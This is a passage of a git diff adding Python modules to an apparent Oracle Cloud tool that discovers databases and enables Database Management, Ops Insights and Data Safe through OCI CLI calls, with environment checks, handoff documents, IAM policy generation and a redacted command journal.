self.oci.list_db_systems(cid), []): + system_id = str(system.get("id")) + for database in _safe(lambda s=system: self.oci.list_databases(cid, str(s.get("id"))), []): + databases.append( + self._database_info(database, "CDB", insights, data_safe_targets, db_system_id=system_id) + ) + for pdb in _safe(lambda: self.oci.list_pluggable_databases(cid), []): + databases.append(self._database_info(pdb, "PDB", insights, data_safe_targets, name_key="pdb-name")) + return tuple(databases) + + def _autonomous( + self, + cid: str, + insights: list[dict[str, Any]], + data_safe_targets: list[dict[str, Any]], + ) -> tuple[DatabaseInfo, ...]: + return tuple( + self._database_info( + adb, "AUTONOMOUS", insights, data_safe_targets, name_key="display-name", kind="autonomous" + ) + for adb in _safe(lambda: self.oci.list_autonomous_databases(cid), []) + ) + + @staticmethod + def _database_info( + record: dict[str, Any], + role: str, + insights: list[dict[str, Any]], + data_safe_targets: list[dict[str, Any]], + name_key: str = "db-name", + kind: str = "dbcs", + db_system_id: str | None = None, + ) -> DatabaseInfo: + status_role = "PDB" if role == "PDB" else "CDB" + db_id = str(record.get("id")) + return DatabaseInfo( + id=db_id, + name=str(record.get(name_key) or record.get("display-name") or ""), + role=role, + state=str(record.get("lifecycle-state", "")), + dbm_status=str(dbm_status(record, kind, status_role) or "NOT_ENABLED"), + opsi_status=opsi_insight_status(insights, db_id), + data_safe_status=data_safe_status( + data_safe_targets, db_id, db_system_id, DiscoveryService._service_name(record) + ), + ) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/doctor.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/doctor.py new file mode 100644 index 000000000..80e5d66ab --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/doctor.py @@ -0,0 +1,94 @@ +"""Environment readiness checks for local, Cloud Shell, and ORM workflows.""" + +from __future__ import annotations + +import re +import shutil +import subprocess +import sys +from dataclasses import dataclass + +from dbman_opsi.redact import redact_text + +OCI_CLI_MIN_VERSION = (3, 37, 0) +OCI_CLI_MIN_VERSION_TEXT = ".".join(str(part) for part in OCI_CLI_MIN_VERSION) + + +@dataclass(frozen=True) +class DoctorCheck: + name: str + ok: bool + detail: str + + +def summarize_checks(checks: tuple[DoctorCheck, ...]) -> str: + missing = [check.name for check in checks if not check.ok] + if missing: + return f"NOT READY: missing {', '.join(missing)}" + return f"READY: {', '.join(check.name for check in checks)}" + + +def _version(command: list[str]) -> str: + try: + result = subprocess.run(command, check=False, capture_output=True, text=True) + except OSError as exc: + return str(exc) + output = (result.stdout or result.stderr).strip() + return output.splitlines()[0] if output else "installed" + + +def _parse_semver(text: str) -> tuple[int, int, int] | None: + match = re.search(r"\b(\d+)\.(\d+)\.(\d+)\b", text) + if not match: + return None + return (int(match.group(1)), int(match.group(2)), int(match.group(3))) + + +def _oci_check(oci_path: str | None) -> DoctorCheck: + if not oci_path: + return DoctorCheck("oci", False, "not found") + version = _version(["oci", "--version"]) + parsed = _parse_semver(version) + if parsed is not None and parsed < OCI_CLI_MIN_VERSION: + detail = f"{version} (minimum {OCI_CLI_MIN_VERSION_TEXT})" + return DoctorCheck("oci", False, detail) + return DoctorCheck("oci", True, version) + + +def check_environment() -> tuple[DoctorCheck, ...]: + python_ok = sys.version_info >= (3, 11) + oci_path = shutil.which("oci") + terraform_path = shutil.which("terraform") + return ( + DoctorCheck("python", python_ok, sys.version.split()[0]), + _oci_check(oci_path), + DoctorCheck( + "terraform", + bool(terraform_path), + _version(["terraform", "-version"]) if terraform_path else "not found", + ), + ) + + +def check_session(profile: str, region: str | None = None) -> DoctorCheck: + """Confirm the OCI session is actually authenticated, not just installed. + + Runs a global, read-only call (`iam region list`) so an installed-but-expired + CLI is reported as a failure instead of passing doctor and failing later. + """ + + if not shutil.which("oci"): + return DoctorCheck("session", False, "oci CLI not found") + command = ["oci", "--profile", profile] + if region: + command += ["--region", region] + command += ["iam", "region", "list", "--output", "json"] + try: + result = subprocess.run(command, check=False, capture_output=True, text=True) + except OSError as exc: + return DoctorCheck("session", False, redact_text(str(exc))) + if result.returncode == 0 and result.stdout.strip(): + return DoctorCheck("session", True, f"authenticated (profile {profile})") + output = (result.stderr or result.stdout).strip() + detail = redact_text(output.splitlines()[0]) if output else "no response" + return DoctorCheck("session", False, detail) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/enablement.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/enablement.py new file mode 100644 index 000000000..de81d517b --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/enablement.py @@ -0,0 +1,394 @@ +"""Enable Database Management and Ops Insights for configured targets.""" + +from __future__ import annotations + +import logging +import time + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.status import dbm_status + +log = logging.getLogger(__name__) + +CLOUD_REQUIRED_FIELDS = ("resource_id", "password_secret_id", "private_endpoint_id", "service_name", "monitoring_user") + + +def missing_cloud_fields(target: Target) -> list[str]: + values = { + "resource_id": target.resource_id, + "password_secret_id": target.password_secret_id, + "private_endpoint_id": target.private_endpoint_id, + "service_name": target.service_name, + "monitoring_user": target.monitoring_user, + } + return [name for name in CLOUD_REQUIRED_FIELDS if not values[name]] + + +def cloud_enable_command(target: Target) -> list[str]: + """Build the enable-database-management argument list for the target's role. + + Containers / non-CDB databases use ``db database enable-database-management`` + (which takes ``--management-type``). Pluggable databases use + ``db pluggable-database enable-pluggable-database-management`` with + ``--pluggable-database-id`` and no management type. + """ + + if target.database_role == "PDB": + return [ + "db", + "pluggable-database", + "enable-pluggable-database-management", + "--pluggable-database-id", + target.resource_id or "", + "--password-secret-id", + target.password_secret_id or "", + "--private-end-point-id", + target.private_endpoint_id or "", + "--service-name", + target.service_name or "", + "--user-name", + target.monitoring_user or "", + ] + return [ + "db", + "database", + "enable-database-management", + "--database-id", + target.resource_id or "", + "--management-type", + target.management_type, + "--password-secret-id", + target.password_secret_id or "", + "--private-end-point-id", + target.private_endpoint_id or "", + "--service-name", + target.service_name or "", + "--user-name", + target.monitoring_user or "", + ] + + +def cloud_modify_command(target: Target) -> list[str]: + """Build the modify-(pluggable-)database-management argument list. + + Used to *reconcile* an already-enabled Database Management connection — e.g. + when the service name or monitoring credential changed after the initial + enable. Without this, a re-run silently keeps stale connection details and + monitoring stays broken (ORA-12514 wrong service / ORA-01017 wrong password). + Waits for the database to return to AVAILABLE so sequential CDB-then-PDB + updates on the same DB system do not collide. + """ + + wait = ["--wait-for-state", "AVAILABLE", "--max-wait-seconds", "900"] + conn = [ + "--service-name", target.service_name or "", + "--password-secret-id", target.password_secret_id or "", + "--private-end-point-id", target.private_endpoint_id or "", + "--user-name", target.monitoring_user or "", + "--role", "NORMAL", "--protocol", "TCP", "--port", "1521", + ] + if target.database_role == "PDB": + return [ + "db", "pluggable-database", "modify-pluggable-database-management", + "--pluggable-database-id", target.resource_id or "", + *conn, *wait, + ] + return [ + "db", "database", "modify-database-management", + "--database-id", target.resource_id or "", + "--management-type", target.management_type, + *conn, *wait, + ] + + +# Markers that mean Ops Insights does not yet see the database after Database +# Management was just enabled — a propagation race, not a permanent error. The +# managed database takes a short while to register before OPSI can attach. +OPSI_PROPAGATION_MARKERS = ( + "Provided database resource", + "details were missing", + "MissingParameter", +) + + +class EnablementService: + def __init__( + self, + oci: OciCli, + *, + opsi_create_attempts: int = 5, + opsi_create_delay: float = 30.0, + sleeper=time.sleep, + ) -> None: + self.oci = oci + self.opsi_create_attempts = opsi_create_attempts + self.opsi_create_delay = opsi_create_delay + self._sleep = sleeper + # Bounded wait for DBM to finish ENABLING before attempting OPSI, so the + # managed database is registered and Ops Insights can attach on the first + # try (the OPSI create retry above remains as a backstop). + self.dbm_wait_attempts = 20 + self.dbm_wait_delay = 15.0 + + def enable_all(self, config: EnablementConfig, force_reconcile: bool = False) -> None: + for target in config.targets: + self.enable_target(target, force_reconcile=force_reconcile) + + def enable_target(self, target: Target, force_reconcile: bool = False) -> None: + if target.kind == "autonomous": + self._enable_autonomous(target) + return + if target.kind in {"dbcs", "exadata"}: + self._enable_cloud_database(target, force_reconcile=force_reconcile) + return + if target.kind in {"external-db", "external-exadata"}: + self._print_external_next_step(target) + return + raise ValueError(f"Unsupported target kind: {target.kind}") + + def enable_opsi(self, target: Target) -> None: + if target.kind not in {"dbcs", "exadata"}: + return + self._enable_opsi_pe_comanaged_if_ready(target) + + def _enable_autonomous(self, target: Target) -> None: + if not target.resource_id: + raise ValueError(f"Target {target.name} is missing resource_id") + self.oci.run([ + "db", + "autonomous-database", + "enable-autonomous-database-management", + "--autonomous-database-id", + target.resource_id, + ]) + if target.opsi_database_insight_id: + self.oci.run([ + "opsi", + "database-insights", + "enable-autonomous-database", + "--database-insight-id", + target.opsi_database_insight_id, + "--is-advanced-features-enabled", + "false", + ]) + + # Markers returned by the Database service when Database Management is + # already on (or its enable request is already in flight). Treated as an + # idempotent no-op so re-runs proceed to the Ops Insights step. + DBM_ALREADY_ENABLED_MARKERS = ("already enabled", "already created") + + def _enable_cloud_database(self, target: Target, force_reconcile: bool = False) -> None: + missing = missing_cloud_fields(target) + if missing: + raise ValueError(f"Target {target.name} is missing required fields: {', '.join(missing)}") + applied = self.oci.run_tolerating( + cloud_enable_command(target), tolerated=self.DBM_ALREADY_ENABLED_MARKERS + ) + if not applied: + # Already enabled. Reconciling (modify-database-management) takes ~2 min + # per target, so skip it when monitoring is already healthy — only + # reconcile to repair a broken connection (or when forced). + if not force_reconcile and self._dbm_monitoring_healthy(target): + log.info( + "Database Management already enabled and monitoring healthy for %s; skipping reconcile", + target.name, + ) + else: + log.info("Database Management already enabled for %s; reconciling connection", target.name) + self.oci.run(cloud_modify_command(target)) + elif applied: + # Freshly enabled: wait until DBM reports ENABLED (managed database + # registered) before attaching Ops Insights, to avoid the propagation + # race ("Provided database resource details were missing"). + self._wait_dbm_enabled(target) + self._enable_opsi_pe_comanaged_if_ready(target) + + def _wait_dbm_enabled(self, target: Target) -> None: + """Poll until the target's Database Management status is ENABLED. + + Best-effort: an unreadable status (no getter / transient error) returns + immediately and lets the OPSI create retry handle any remaining race. + """ + + if not target.resource_id: + return + for attempt in range(self.dbm_wait_attempts): + try: + if target.database_role == "PDB": + details = self.oci.get_pluggable_database(target.resource_id) + else: + details = self.oci.get_database(target.resource_id) + except (RuntimeError, AttributeError): + return + status = str(dbm_status(details, target.kind, target.database_role) or "").upper() + # Done once strictly ENABLED (the managed database is registered). + # Only keep waiting while it is actively ENABLING; any other/unknown + # status returns immediately (best-effort — the OPSI create retry is + # the backstop, and this avoids busy-waiting on a non-progressing read). + if status != "ENABLING": + return + if attempt < self.dbm_wait_attempts - 1: + self._sleep(self.dbm_wait_delay) + + def _dbm_monitoring_healthy(self, target: Target) -> bool: + """True when the managed database reports an UP monitoring status. + + For OCI-native databases the Managed Database OCID is the database OCID + itself. A flaky/failed read returns False so we fall back to reconciling. + """ + + if not target.resource_id: + return False + try: + return self.oci.get_managed_database_status(target.resource_id) == "UP" + except (RuntimeError, AttributeError): + return False + + def _enable_opsi_pe_comanaged_if_ready(self, target: Target) -> None: + shared_missing = [ + name + for name, value in { + "compartment_id": target.compartment_id, + "opsi_private_endpoint_id": target.opsi_private_endpoint_id, + "opsi_credential_details_file": target.opsi_credential_details_file, + "service_name": target.service_name, + }.items() + if not value + ] + if shared_missing: + log.info("Skipping Ops Insights for %s; missing: %s", target.name, ", ".join(shared_missing)) + return + if self._opsi_insight_active(target): + # Idempotent: an ACTIVE insight already collects, so do not re-create + # (create-pe-comanaged on an existing insight conflicts / hangs). + log.info("Ops Insights insight already ACTIVE for %s; skipping create", target.name) + return + if not target.opsi_database_insight_id: + self._create_opsi_pe_comanaged(target) + return + args = [ + "opsi", + "database-insights", + "enable-pe-comanaged-database", + "--compartment-id", + target.compartment_id or "", + "--opsi-private-endpoint-id", + target.opsi_private_endpoint_id or "", + "--service-name", + target.service_name or "", + "--credential-details", + f"file://{target.opsi_credential_details_file}", + "--database-insight-id", + target.opsi_database_insight_id or "", + ] + if target.opsi_connection_details_file: + args.extend(["--connection-details", f"file://{target.opsi_connection_details_file}"]) + self.oci.run(args) + + def _opsi_insight_active(self, target: Target) -> bool: + """True when an ACTIVE OPSI insight already exists for this database.""" + + compartment = target.compartment_id or "" + if not compartment or not target.resource_id: + return False + # Fast path: when the insight OCID is known, read it with the reliable + # single-resource GET instead of the flaky list — no false "inactive" + # from a partial list that dropped the insight. + if target.opsi_database_insight_id: + getter = getattr(self.oci, "get_opsi_database_insight", None) + if getter is not None: + try: + detail = getter(target.opsi_database_insight_id) + except RuntimeError: + detail = {} + if detail: + return detail.get("lifecycle-state") == "ACTIVE" + # The opsi list endpoint flaps: it returns NotAuthorizedOrNotFound *or* + # an exit-0 empty list even when insights exist. Both are inconclusive, + # so retry on either. An empty result that falls through to create is + # only tolerated by the 409 "already exists" guard; retrying lets us + # detect the existing ACTIVE insight and skip the create round-trip. + for _ in range(3): + try: + insights = self.oci.list_opsi_database_insights(compartment) + except AttributeError: + return False + except RuntimeError: + continue + if not insights: + continue + return any( + insight.get("database-id") == target.resource_id + and insight.get("lifecycle-state") == "ACTIVE" + for insight in insights + ) + return False + + def _create_opsi_pe_comanaged(self, target: Target) -> None: + missing = [ + name + for name, value in { + "resource_id": target.resource_id, + "private_endpoint_id": target.private_endpoint_id, + "database_resource_type": target.database_resource_type, + "deployment_type": target.deployment_type, + }.items() + if not value + ] + if missing: + log.info("Skipping Ops Insights for %s; missing: %s", target.name, ", ".join(missing)) + return + args = [ + "opsi", + "database-insights", + "create-pe-comanged-database", + "--compartment-id", + target.compartment_id or "", + "--database-id", + target.resource_id or "", + "--database-resource-type", + target.database_resource_type, + "--service-name", + target.service_name or "", + "--credential-details", + f"file://{target.opsi_credential_details_file}", + "--deployment-type", + target.deployment_type, + "--opsi-private-endpoint-id", + target.opsi_private_endpoint_id or "", + "--wait-for-state", + "SUCCEEDED", + "--max-wait-seconds", + "1200", + "--wait-interval-seconds", + "30", + ] + if target.opsi_connection_details_file: + args.extend(["--connection-details", f"file://{target.opsi_connection_details_file}"]) + # Tolerate a 409 "already exists" so a flaky active-check that fell through + # does not fail the run when the insight is in fact present. Retry on the + # post-enable propagation race ("database resource details were missing"): + # right after DBM is enabled, the managed database is not yet visible to + # Ops Insights, so the create is rejected until registration completes. + for attempt in range(self.opsi_create_attempts): + try: + created = self.oci.run_tolerating(args, tolerated=("already exists",)) + if not created: + log.info("Ops Insights insight already exists for %s; left as-is", target.name) + return + except RuntimeError as exc: + is_propagation = any(marker in str(exc) for marker in OPSI_PROPAGATION_MARKERS) + if is_propagation and attempt < self.opsi_create_attempts - 1: + log.info( + "Ops Insights not ready for %s (database registering); retry %s/%s", + target.name, + attempt + 1, + self.opsi_create_attempts - 1, + ) + self._sleep(self.opsi_create_delay) + continue + raise + + def _print_external_next_step(self, target: Target) -> None: + log.info("External target %s: run generated Management Agent script, then rerun validate.", target.name) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/envfile.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/envfile.py new file mode 100644 index 000000000..de5a4dd35 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/envfile.py @@ -0,0 +1,58 @@ +"""Load local environment variables without committing secrets.""" + +from __future__ import annotations + +import os +from pathlib import Path + + +def _strip_inline_comment(value: str) -> str: + in_single = False + in_double = False + for index, char in enumerate(value): + if char == "'" and not in_double: + in_single = not in_single + elif char == '"' and not in_single: + in_double = not in_double + elif char == "#" and not in_single and not in_double: + if index == 0 or value[index - 1].isspace(): + return value[:index].rstrip() + return value + + +def _parse_value(value: str) -> str: + value = _strip_inline_comment(value.strip()) + if len(value) >= 2 and value[0] == value[-1] and value[0] in {"'", '"'}: + return value[1:-1] + return value + + +def load_env_file(path: str | Path = ".env.local", *, override: bool = False) -> tuple[str, ...]: + """Load KEY=VALUE pairs from a local env file. + + Existing process variables win by default, so CI/Cloud Shell can override + local defaults. The parser is intentionally small: it supports comments, + blank lines, `export KEY=VALUE`, quoted values, and inline comments after + unquoted values. + """ + + env_path = Path(path) + if not env_path.exists(): + return () + + loaded: list[str] = [] + for raw_line in env_path.read_text(encoding="utf-8").splitlines(): + line = raw_line.strip() + if not line or line.startswith("#"): + continue + if line.startswith("export "): + line = line[7:].strip() + if "=" not in line: + continue + key, raw_value = line.split("=", 1) + key = key.strip() + if not key or (key in os.environ and not override): + continue + os.environ[key] = _parse_value(raw_value) + loaded.append(key) + return tuple(loaded) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/handoff.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/handoff.py new file mode 100644 index 000000000..e2584163b --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/handoff.py @@ -0,0 +1,127 @@ +"""DB-side handoff packets for operators who run database steps separately.""" + +from __future__ import annotations + +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.db_scripts import DB_SCRIPT_TARGETS, generate_db_scripts +from dbman_opsi.enablement import cloud_enable_command, missing_cloud_fields + +HANDOFF_KINDS = DB_SCRIPT_TARGETS + + +def _slug(name: str) -> str: + return name.replace(" ", "-").lower() + + +def _enable_command_text(target: Target, config: EnablementConfig) -> str: + missing = missing_cloud_fields(target) + prefix = f"oci --profile {config.profile} --region {config.region}" + command = " ".join([prefix, *cloud_enable_command(target)]) + if missing: + note = ( + f"# NOTE: still missing {', '.join(missing)}. Fill these in (run prepare-prereqs)\n" + f"# before the command below will succeed.\n" + ) + return note + command + return command + + +def _db_side_steps(target: Target) -> str: + steps = [ + "@01-create-monitoring-user.sql", + "@02-grant-basic-monitoring.sql", + "-- optional, review licensing/security first:", + "@03-grant-advanced-diagnostics.sql", + "-- optional, enables PDB-level ADDM Spotlight / AWR Explorer data:", + "@05-enable-performance-hub.sql", + "@04-validate-monitoring-user.sql", + ] + if target.wants("datasafe"): + steps.append("-- Data Safe service account + baseline assessment/audit privileges:") + steps.append("@06-enable-data-safe.sql") + return "\n".join(steps) + + +def _data_safe_context(target: Target) -> str: + if not target.wants("datasafe"): + return "" + return f""" +## 4. Data Safe (security pillar) + +| Field | Value | +| --- | --- | +| Data Safe service account | {target.monitoring_user or 'DBSNMP'} | +| Data Safe target OCID | {target.data_safe_target_id or ''} | +| Data Safe private endpoint OCID | {target.data_safe_private_endpoint_id or ''} | + +After `06-enable-data-safe.sql` runs, register the database as a Data Safe target: + +```bash +dbman-opsi data-safe --config --apply +``` + +For Data Masking / Data Discovery, also download and run the per-target privilege +script from the OCI Console (Data Safe > Target databases > Register). +""" + + +def handoff_text(target: Target, config: EnablementConfig) -> str: + is_external = target.kind in {"external-db", "external-exadata"} + oci_step = ( + "Run the generated Management Agent script on the database host, then rerun " + "`dbman-opsi preflight` to confirm the agent and plugins are registered." + if is_external + else "After the DB-side steps succeed, an operator with OCI rights runs:\n\n" + f"```bash\n{_enable_command_text(target, config)}\n```" + ) + return f"""# DB-side handoff for {target.name} + +Target kind: {target.kind} +Region: {config.region} +Service name: {target.service_name or ''} +Monitoring user: {target.monitoring_user or 'DBSNMP'} +Pillars: {', '.join(target.services)} + +## 1. Database-side steps (run as the DBA / SYSDBA) + +Execute these scripts in order with SQLcl or SQL*Plus. They prompt for the +monitoring password interactively and never store it in a file: + +```sql +{_db_side_steps(target)} +``` + +`04-validate-monitoring-user.sql` must show the monitoring user with +`CREATE SESSION`, `SELECT ANY DICTIONARY`, and `SELECT_CATALOG_ROLE`. + +## 2. OCI-side context + +| Field | Value | +| --- | --- | +| Private endpoint OCID | {target.private_endpoint_id or ''} | +| Password secret OCID | {target.password_secret_id or ''} | +| Ops Insights PE OCID | {target.opsi_private_endpoint_id or ''} | + +## 3. Enable in OCI + +{oci_step} + +Then confirm with `dbman-opsi validate --config `. +{_data_safe_context(target)}""" + + +def generate_handoff(config: EnablementConfig, output_dir: str | Path) -> list[Path]: + base_dir = Path(output_dir) + base_dir.mkdir(parents=True, exist_ok=True) + paths = list(generate_db_scripts(config, base_dir)) + for target in config.targets: + if target.kind not in HANDOFF_KINDS: + continue + target_dir = base_dir / _slug(target.name) + target_dir.mkdir(parents=True, exist_ok=True) + handoff_path = target_dir / "HANDOFF.md" + handoff_path.write_text(handoff_text(target, config), encoding="utf-8") + paths.append(handoff_path) + return paths diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/iam.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/iam.py new file mode 100644 index 000000000..c78b4fdc6 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/iam.py @@ -0,0 +1,39 @@ +"""IAM policy generation for Database Management and Ops Insights enablement.""" + +from __future__ import annotations + +from dbman_opsi.config import EnablementConfig + + +def policy_statements(config: EnablementConfig) -> tuple[str, ...]: + """Return least-practical PoC policy statements for the selected compartment.""" + + group = config.policy_group_name + location = f"compartment id {config.compartment_id}" if config.compartment_id else "tenancy" + return ( + f"Allow group {group} to manage database-family in {location}", + f"Allow group {group} to manage database-management-family in {location}", + f"Allow group {group} to manage opsi-family in {location}", + f"Allow group {group} to manage management-agents in {location}", + f"Allow group {group} to manage vaults in {location}", + f"Allow group {group} to manage keys in {location}", + f"Allow group {group} to manage secret-family in {location}", + f"Allow group {group} to use virtual-network-family in {location}", + f"Allow group {group} to read metrics in {location}", + # Service principals required for PE-based Database Management and Ops + # Insights with Vault credentials. DB Management uses the `dpd` principal + # (there is no `database-management` service principal). + f"Allow service dpd to read secret-family in {location}", + f"Allow service dpd to use virtual-network-family in {location}", + f"Allow service operations-insights to read secret-family in {location}", + f"Allow service operations-insights to use virtual-network-family in {location}", + ) + + +def terraform_policy_documents(config: EnablementConfig) -> dict[str, object]: + return { + "policy_name": "dbman-opsi-enable-policy", + "policy_description": "Database Management and Ops Insights enablement policy generated by dbman-opsi.", + "policy_statements": list(policy_statements(config)), + } + diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/journal.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/journal.py new file mode 100644 index 000000000..6221ad808 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/journal.py @@ -0,0 +1,93 @@ +"""Structured per-run command journal.""" + +from __future__ import annotations + +import json +import time +from collections.abc import Callable, Sequence +from dataclasses import asdict, dataclass +from pathlib import Path +from typing import Any + +from dbman_opsi.redact import redact_text + + +@dataclass(frozen=True) +class JournalEntry: + ts: float + run_id: str + profile: str + region: str + argv_redacted: tuple[str, ...] + returncode: int + duration_ms: int + dry_run: bool + + def to_dict(self) -> dict[str, Any]: + payload = asdict(self) + payload["argv_redacted"] = list(self.argv_redacted) + return payload + + +class RunJournal: + def __init__( + self, + *, + run_id: str, + profile: str, + region: str, + root: str | Path = "runs", + now: Callable[[], float] = time.time, + ) -> None: + self.run_id = run_id + self.profile = profile + self.region = region + self.path = Path(root) / f"{run_id}.jsonl" + self._now = now + + def record( + self, + *, + argv: Sequence[str], + returncode: int, + duration_ms: int, + dry_run: bool, + ) -> None: + entry = JournalEntry( + ts=self._now(), + run_id=self.run_id, + profile=self.profile, + region=self.region, + argv_redacted=tuple(redact_text(arg) for arg in argv), + returncode=returncode, + duration_ms=duration_ms, + dry_run=dry_run, + ) + self.path.parent.mkdir(parents=True, exist_ok=True) + with self.path.open("a", encoding="utf-8") as handle: + handle.write(json.dumps(entry.to_dict(), sort_keys=True) + "\n") + + @staticmethod + def read(run_id: str, *, root: str | Path = "runs") -> list[dict[str, Any]]: + if not run_id or not run_id.strip(): + raise ValueError("run_id is required") + if "/" in run_id or "\\" in run_id or Path(run_id).name != run_id: + raise ValueError("run_id must be a plain run id") + path = Path(root) / f"{run_id}.jsonl" + entries: list[dict[str, Any]] = [] + with path.open(encoding="utf-8") as handle: + for line in handle: + if line.strip(): + payload = json.loads(line) + if isinstance(payload, dict): + entries.append(payload) + return entries + + +def summarize(entries: list[dict[str, Any]]) -> dict[str, Any]: + failures = [entry for entry in entries if entry.get("returncode") != 0] + return { + "command_count": len(entries), + "total_duration_ms": sum(int(entry.get("duration_ms") or 0) for entry in entries), + "failures": failures, + } diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/oci_cli.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/oci_cli.py new file mode 100644 index 000000000..83e7dd79d --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/oci_cli.py @@ -0,0 +1,40 @@ +"""Small OCI CLI facade used by discovery, enablement, and validation. + +``OciCli`` is composed from per-domain command mixins (network, database, vault, +IAM, infra, Database Management, Ops Insights, Data Safe) so each area lives in +its own focused module while presenting a single flat client to callers. The +public surface — every ``oci.list_*`` / ``oci.get_*`` / ``oci.create_*`` method — +is unchanged; the split is purely file organization. Shared plumbing +(``run_json``/``run``/``_items``/``_data``/``profile_tenancy``) lives in +:class:`dbman_opsi._oci_base._OciBase`, the common base of every mixin. +""" + +from __future__ import annotations + +from dbman_opsi._oci_database import DatabaseCommands +from dbman_opsi._oci_datasafe import DataSafeCommands +from dbman_opsi._oci_dbmgmt import DatabaseManagementCommands +from dbman_opsi._oci_iam import IamCommands +from dbman_opsi._oci_infra import InfraCommands +from dbman_opsi._oci_network import NetworkCommands +from dbman_opsi._oci_opsi import OpsiCommands +from dbman_opsi._oci_vault import VaultCommands + +__all__ = ["OciCli"] + + +class OciCli( + NetworkCommands, + DatabaseCommands, + VaultCommands, + IamCommands, + InfraCommands, + DatabaseManagementCommands, + OpsiCommands, + DataSafeCommands, +): + """Flat OCI CLI client composed from per-domain command mixins. + + All mixins share :class:`_OciBase`, which the MRO collapses to one entry, so + ``__init__`` (``profile``, ``region``, ``runner``) runs exactly once. + """ diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/oci_util.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/oci_util.py new file mode 100644 index 000000000..18126e6d8 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/oci_util.py @@ -0,0 +1,29 @@ +"""Small OCI lookup helpers shared by discovery surfaces.""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import TypeVar + +_T = TypeVar("_T") + + +def safe_lookup( + call: Callable[[], _T], + default: _T, + attempts: int = 2, + on_error: Callable[[Exception], None] | None = None, +) -> _T: + """Run a best-effort lookup, retrying before returning a default.""" + + if attempts < 1: + return default + for attempt in range(attempts): + try: + return call() + except Exception as exc: # noqa: BLE001 - read-only discovery is best-effort + if attempt == attempts - 1: + if on_error is not None: + on_error(exc) + return default + return default diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/opsi_payloads.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/opsi_payloads.py new file mode 100644 index 000000000..62a9a3775 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/opsi_payloads.py @@ -0,0 +1,59 @@ +"""Operations Insights JSON payload generation.""" + +from __future__ import annotations + +import json +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, Target + + +def credential_details(target: Target) -> dict[str, object]: + if not target.password_secret_id: + return { + "credentialType": "CREDENTIALS_BY_SOURCE", + "credentialSourceName": target.name, + } + payload: dict[str, object] = { + "credentialType": "CREDENTIALS_BY_VAULT", + "credentialSourceName": target.name, + "userName": target.monitoring_user or "DBSNMP", + "passwordSecretId": target.password_secret_id, + "role": "NORMAL", + } + if target.wallet_secret_id: + payload = {**payload, "walletSecretId": target.wallet_secret_id} + return payload + + +def connection_details(target: Target) -> dict[str, object]: + return { + "hosts": [ + { + "hostIp": target.external_host or "", + "port": 1521, + } + ], + "protocol": "TCP", + "serviceName": target.service_name or "ORCLPDB1", + } + + +def generate_opsi_payloads(config: EnablementConfig, output_dir: str | Path) -> list[Path]: + base_dir = Path(output_dir) + base_dir.mkdir(parents=True, exist_ok=True) + paths: list[Path] = [] + for target in config.targets: + if target.kind not in {"dbcs", "exadata", "external-db", "external-exadata", "autonomous"}: + continue + target_dir = base_dir / target.name.replace(" ", "-").lower() + target_dir.mkdir(parents=True, exist_ok=True) + payloads = { + "credential-details.json": credential_details(target), + "connection-details.json": connection_details(target), + } + for filename, payload in payloads.items(): + path = target_dir / filename + path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + paths.append(path) + return paths diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/orchestrator.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/orchestrator.py new file mode 100644 index 000000000..0acb522e9 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/orchestrator.py @@ -0,0 +1,221 @@ +"""Configure orchestrator: detect -> branch by location -> gate -> act.""" + +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Literal + +from dbman_opsi.checks import PreflightReport, TargetReport +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.datasafe import DataSafeDecision, DataSafeService +from dbman_opsi.enablement import EnablementService +from dbman_opsi.handoff import generate_handoff +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.preflight import PreflightService +from dbman_opsi.status import dbm_status, is_enabled + +Mode = Literal["plan", "apply", "db-side-only"] +Action = Literal["skip-enabled", "blocked", "handoff", "ready", "enabled", "stopped-not-found"] + + +@dataclass(frozen=True) +class TargetDecision: + name: str + kind: str + location: str + action: Action + reason: str + + def to_dict(self) -> dict[str, Any]: + return { + "name": self.name, + "kind": self.kind, + "location": self.location, + "action": self.action, + "reason": self.reason, + } + + +@dataclass(frozen=True) +class ConfigureReport: + mode: Mode + preflight: 